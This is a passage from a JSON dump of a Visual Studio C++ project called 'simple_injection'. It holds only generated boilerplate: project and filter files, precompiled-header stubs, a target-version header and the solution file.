Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <PropertyGroup Label=\"UserMacros\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <LinkIncremental>true</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <LinkIncremental>true</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <LinkIncremental>false</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <LinkIncremental>false</LinkIncremental>\r\n  </PropertyGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <Optimization>Disabled</Optimization>\r\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <Optimization>Disabled</Optimization>\r\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <ClCompile>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <Optimization>MaxSpeed</Optimization>\r\n      <FunctionLevelLinking>true</FunctionLevelLinking>\r\n      <IntrinsicFunctions>true</IntrinsicFunctions>\r\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <ClCompile>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <Optimization>MaxSpeed</Optimization>\r\n      <FunctionLevelLinking>true</FunctionLevelLinking>\r\n      <IntrinsicFunctions>true</IntrinsicFunctions>\r\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemGroup>\r\n    <Text Include=\"ReadMe.txt\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"stdafx.h\" />\r\n    <ClInclude Include=\"targetver.h\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"simple_injection.cpp\" />\r\n    <ClCompile Include=\"stdafx.cpp\">\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">Create</PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">Create</PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">Create</PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">Create</PrecompiledHeader>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\r\n  <ImportGroup Label=\"ExtensionTargets\">\r\n  </ImportGroup>\r\n</Project>"
  },
  {
    "path": "simple_injection/simple_injection/simple_injection.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup>\r\n    <Filter Include=\"Source Files\">\r\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\r\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Header Files\">\r\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\r\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Resource Files\">\r\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\r\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\r\n    </Filter>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Text Include=\"ReadMe.txt\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"stdafx.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"targetver.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"stdafx.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"simple_injection.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n</Project>"
  },
  {
    "path": "simple_injection/simple_injection/stdafx.cpp",
    "content": "// stdafx.cpp : source file that includes just the standard includes\r\n// simple_injection.pch will be the pre-compiled header\r\n// stdafx.obj will contain the pre-compiled type information\r\n\r\n#include \"stdafx.h\"\r\n\r\n// TODO: reference any additional headers you need in STDAFX.H\r\n// and not in this file\r\n"
  },
  {
    "path": "simple_injection/simple_injection/stdafx.h",
    "content": "// stdafx.h : include file for standard system include files,\r\n// or project specific include files that are used frequently, but\r\n// are changed infrequently\r\n//\r\n\r\n#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#include <stdio.h>\r\n#include <tchar.h>\r\n\r\n\r\n\r\n// TODO: reference additional headers your program requires here\r\n"
  },
  {
    "path": "simple_injection/simple_injection/targetver.h",
    "content": "#pragma once\r\n\r\n// Including SDKDDKVer.h defines the highest available Windows platform.\r\n\r\n// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and\r\n// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.\r\n\r\n#include <SDKDDKVer.h>\r\n"
  },
  {
    "path": "simple_injection/simple_injection.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 14\r\nVisualStudioVersion = 14.0.24720.0\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"simple_injection\", \"simple_injection\\simple_injection.vcxproj\", \"{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tDebug|x86 = Debug|x86\r\n\t\tRelease|x64 = Release|x64\r\n\t\tRelease|x86 = Release|x86\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Debug|x86.ActiveCfg = Debug|Win32\r\n\t\t{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Debug|x86.Build.0 = Debug|Win32\r\n\t\t{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Release|x64.Build.0 = Release|x64\r\n\t\t{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Release|x86.ActiveCfg = Release|Win32\r\n\t\t{10ED7C22-0A9E-4278-92C4-BE03DFC99AD3}.Release|x86.Build.0 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  }
]